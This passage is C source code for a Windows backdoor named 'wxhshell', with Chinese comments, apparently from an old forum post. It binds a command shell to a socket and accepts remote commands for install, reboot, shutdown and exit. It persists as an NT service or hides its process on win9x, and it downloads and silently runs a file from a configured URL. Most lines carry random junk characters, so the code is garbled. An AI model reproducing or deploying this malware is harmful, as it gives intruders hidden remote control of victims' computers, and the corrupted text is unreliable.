  case '?': { fb D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `8G {-_  
    break; 9Vtn62+  
  } 6Wc'5t3  
  // 安装 ~a` vk@8  
  case 'i': { 4>t=r\"4  
    if(Install()) _BBs{47{E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Ce;}sM  
    else |TCg`ZS`cZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jT1^oXn@  
    break; jQ9i<-zc  
    } uui3jZ:  
  // 卸载 ,w0Io   
  case 'r': { lW3wmSWn%  
    if(Uninstall()) d@>1m:p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _vr;cjMI  
    else zOA2chy4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z'o'd_g>I+  
    break; dn:/8~B"X  
    } 3Tz~DdB  
  // 显示 wxhshell 所在路径 jt6,id)&  
  case 'p': { +<w\K*  
    char svExeFile[MAX_PATH]; T{zz3@2?  
    strcpy(svExeFile,"\n\r"); yf2$HF  
      strcat(svExeFile,ExeFile); p+; La  
        send(wsh,svExeFile,strlen(svExeFile),0); }<g- 0&GLm  
    break; y\c-I!6>26  
    } <F-W fR  
  // 重启 C,nU.0  
  case 'b': { H:.l:PJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MNd[Xzm  
    if(Boot(REBOOT)) (5Sv$Xt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \#q|.d$ u  
    else { 6'qu[ ~ }Q  
    closesocket(wsh); OmAa$L,'w  
    ExitThread(0); AIw<5lW  
    } >^ zbDU1wT  
    break; d^Zr I\AJ  
    } = `oGH  
  // 关机 <F<jx"/)  
  case 'd': { %M u$0~ct"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l|5;&(Y+s  
    if(Boot(SHUTDOWN)) 6>j0geFyE2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); to#N>VfD  
    else { fE,Io3  
    closesocket(wsh); FFpG>+*3  
    ExitThread(0); Jj,fdP#\  
    } hvOl9W>  
    break; I#9q^,,F  
    } *W$bhC'w  
  // 获取shell N Ah^2X  
  case 's': { ZCz#B2Sf8  
    CmdShell(wsh); CCU<t Q  
    closesocket(wsh); &@/25Y2  
    ExitThread(0); WC`x^HI  
    break; :XeRc"m<  
  } Tb<}GcwJ  
  // 退出 w^8i!jCy  
  case 'x': { fe!{vrS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ayh= @7*  
    CloseIt(wsh); vw[i.af  
    break; g<PglRr"  
    } m+9~f_}  
  // 离开 s|d"2w6t  
  case 'q': { vmIt!x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rxk0^d:sNi  
    closesocket(wsh); i;mA|  
    WSACleanup(); H?tX^HO:q  
    exit(1); l{4rKqtX  
    break; go B'C  
        } "]ZDs^7  
  } :FX|9h  
  } nV3I6  
jCp`woV  
  // 提示信息 ] 8dzTEjk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XWv;l)  
} #MAXH7[  
  } 5Sz}gP('  
6Eyinv  
  return; #9CLIYJAd  
} N Nw0 G&  
8=,-r`oNy  
// shell模块句柄 (qdvvu#E  
int CmdShell(SOCKET sock) LGT?/ gup  
{ 'ocPG.PaU  
STARTUPINFO si; = ow=3Ku  
ZeroMemory(&si,sizeof(si)); P9jPdls  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?3a:ntX h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F P>.@ Y  
PROCESS_INFORMATION ProcessInfo; xASH- 9  
char cmdline[]="cmd"; ]3]=RuQK2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3H ,?ZFFGz  
  return 0; J/B`c(  
} jchq\q)_z  
{ pk]p~  
// 自身启动模式 r>cN,C  
int StartFromService(void) E_T!|Q.  
{ {.o@XP,.  
typedef struct 3{9d5p|\i  
{ }va>jfy  
  DWORD ExitStatus; yoG*c%3V?  
  DWORD PebBaseAddress;  4}F~h  
  DWORD AffinityMask; yZkS   
  DWORD BasePriority; {3!E8~  
  ULONG UniqueProcessId; t[o_!fmxZ  
  ULONG InheritedFromUniqueProcessId; 6|Xe ],u  
}   PROCESS_BASIC_INFORMATION; s"B2Whe  
e\r%"~v  
PROCNTQSIP NtQueryInformationProcess; ?@CbaX~+K  
P(cy@P,D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )W*A[c 2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #Fz/}lO  
M.\V/OX  
  HANDLE             hProcess; qylI/,y{  
  PROCESS_BASIC_INFORMATION pbi; ip!-~HNwJ  
+F+M[ef<ws  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,-[z?dvO  
  if(NULL == hInst ) return 0; hGJANA  
KZ@'NnQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (!%9#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9PdD=9HH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q![`3m-d.  
B}0!b7!  
  if (!NtQueryInformationProcess) return 0; OJ r~iUr  
Go(Td++HS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]i\;#pj}  
  if(!hProcess) return 0; n&3}F?   
GQ2/3kt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?OS0.  
a'(B}B=h  
  CloseHandle(hProcess); Vrs?VA`v$  
qyP={E9A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZlP+t>  
if(hProcess==NULL) return 0; ;OZl' . %`  
**JBZ\'  
HMODULE hMod; =Y Y 7V!  
char procName[255]; 3,-[lG@o  
unsigned long cbNeeded; #mkf2Z=t-  
@Gt.J*!s/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3~:9ZWQ/  
</2 aQn  
  CloseHandle(hProcess); VS>xvF  
j4I ~  
if(strstr(procName,"services")) return 1; // 以服务启动 (e Ssx/  
|}b~YHTs  
  return 0; // 注册表启动  { &Vt]9  
} OrwVRqW-z  
*wx95?H0Z  
// 主模块 2T(7V[C%9  
int StartWxhshell(LPSTR lpCmdLine) %SuELm  
{  1D_&n@  
  SOCKET wsl; uVTacN%X  
BOOL val=TRUE; O_]hbXV0  
  int port=0; 5?Pf#kq  
  struct sockaddr_in door; a~ dgf:e`  
'6; {DX  
  if(wscfg.ws_autoins) Install(); \*[DR R0  
YxrMr9>l1  
port=atoi(lpCmdLine); YgdQC(ib  
*<X1M~p$  
if(port<=0) port=wscfg.ws_port; <p}7T]a7  
JOJuGB-d  
  WSADATA data; No)0|C8:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Va?i#<a  
8d_J9Ho  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   * V7mM?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bN7m[GRO.  
  door.sin_family = AF_INET; 8|^&~Rl4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FSm.o?>  
  door.sin_port = htons(port); M[~{!0Uz g  
OGIv".~s4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6<T:B[a-  
closesocket(wsl); 1Iy1xiP  
return 1; WMC\J(@.  
} H(gY =  
TY'c'u,  
  if(listen(wsl,2) == INVALID_SOCKET) { uAqiL>y  
closesocket(wsl); K1^7v}P  
return 1; x"g)pGsT  
} !y B4;f$  
  Wxhshell(wsl); g(W+[kj)  
  WSACleanup(); 57EX#:a  
sOlnc6  
return 0; H`'a|Y  
w7.,ch  
} 1Acs0` 3  
?'Hd0)yZ  
// 以NT服务方式启动 LWm1j:0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bm 4RRI  
{ g4b#U\D@)/  
DWORD   status = 0; IdN3Ea]  
  DWORD   specificError = 0xfffffff; / Ws>;0  
HE-5e): k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ak,JPz T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kl]MP}wc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h x&"fe  
  serviceStatus.dwWin32ExitCode     = 0; |T@SlNi]  
  serviceStatus.dwServiceSpecificExitCode = 0; |=*)a2  
  serviceStatus.dwCheckPoint       = 0; M:GpyE%  
  serviceStatus.dwWaitHint       = 0; nj:w1E/R  
"3\y~<8%'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ||>4XDV#  
  if (hServiceStatusHandle==0) return; hNsi  8/  
NLY=o@<  
status = GetLastError(); Lc5zu7ncg  
  if (status!=NO_ERROR) &Ap9h# dK  
{ Vy I\Jmr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bsDA&~)s  
    serviceStatus.dwCheckPoint       = 0; ((+XzV>  
    serviceStatus.dwWaitHint       = 0; r'jUB^E  
    serviceStatus.dwWin32ExitCode     = status; &>C+5`bg  
    serviceStatus.dwServiceSpecificExitCode = specificError; cI'n[G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EW(bM^dk}  
    return; RSh_~qMX  
  } vReX7  
N-?5[T"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +T@BOYhgq  
  serviceStatus.dwCheckPoint       = 0; Hp04apM:  
  serviceStatus.dwWaitHint       = 0; s$isDG#Sr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y&j`HO8f  
} m9A%Z bQ^  
D\&S {  
// 处理NT服务事件,比如:启动、停止 84.L1|k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Mq)]2>"v  
{ (87| :{  
switch(fdwControl) %]&$VVVh  
{ qvSYrnpn  
case SERVICE_CONTROL_STOP: :Q>e54]'&  
  serviceStatus.dwWin32ExitCode = 0; p$9Aadi]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tRJ5IX##L  
  serviceStatus.dwCheckPoint   = 0; 6vsA8u(|V#  
  serviceStatus.dwWaitHint     = 0; eZAMV/]jH  
  { '0+~]4&}q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TT/H"Ri}Jp  
  } tngB;9c+w  
  return; n}.e(z_"  
case SERVICE_CONTROL_PAUSE: Hs'~) T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H5x7)1Ir|  
  break; __'4Qt   
case SERVICE_CONTROL_CONTINUE: 4F|79U #  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @d0f+9d  
  break; 7/IL" D  
case SERVICE_CONTROL_INTERROGATE: AJ7^'p9Y  
  break; @!fUp b  
}; &]o-ZZX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XQ}J4J~Vm  
} rgzra"u)  
\)No?fB  
// 标准应用程序主函数 H%@f ^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XqmB%g(  
{ !vAmjjB  
/S"jO [n9b  
// 获取操作系统版本 F]yB=  
OsIsNt=GetOsVer(); !92e$GJ} ;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6/S. sj~  
y|ZL< L  
  // 从命令行安装 1OM Xg=Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); Gy/w #4xj  
uKP4ur@1  
  // 下载执行文件 FSA%,b; U  
if(wscfg.ws_downexe) { \uOM,98xS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sc[#]2 }  
  WinExec(wscfg.ws_filenam,SW_HIDE); s) ]j X  
} qX-ptsQ  
S{;Pga*Px  
if(!OsIsNt) { t|>zke!'  
// 如果时win9x,隐藏进程并且设置为注册表启动 s;9Du|0f^  
HideProc(); =4eJ@EVM  
StartWxhshell(lpCmdLine); 6P{^j  
} ?Tc#[B  
else :E.a.-  
  if(StartFromService()) !.,wg'\P  
  // 以服务方式启动 Njg$~30  
  StartServiceCtrlDispatcher(DispatchTable); $o?U=  
else jG[Vp b  
  // 普通方式启动 6/8K2_UeoW  
  StartWxhshell(lpCmdLine); (NvjX})eh  
T"z<D+ pN  
return 0; Jr !BDg  
}
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只看该作者 1 发表于: 2006-10-10
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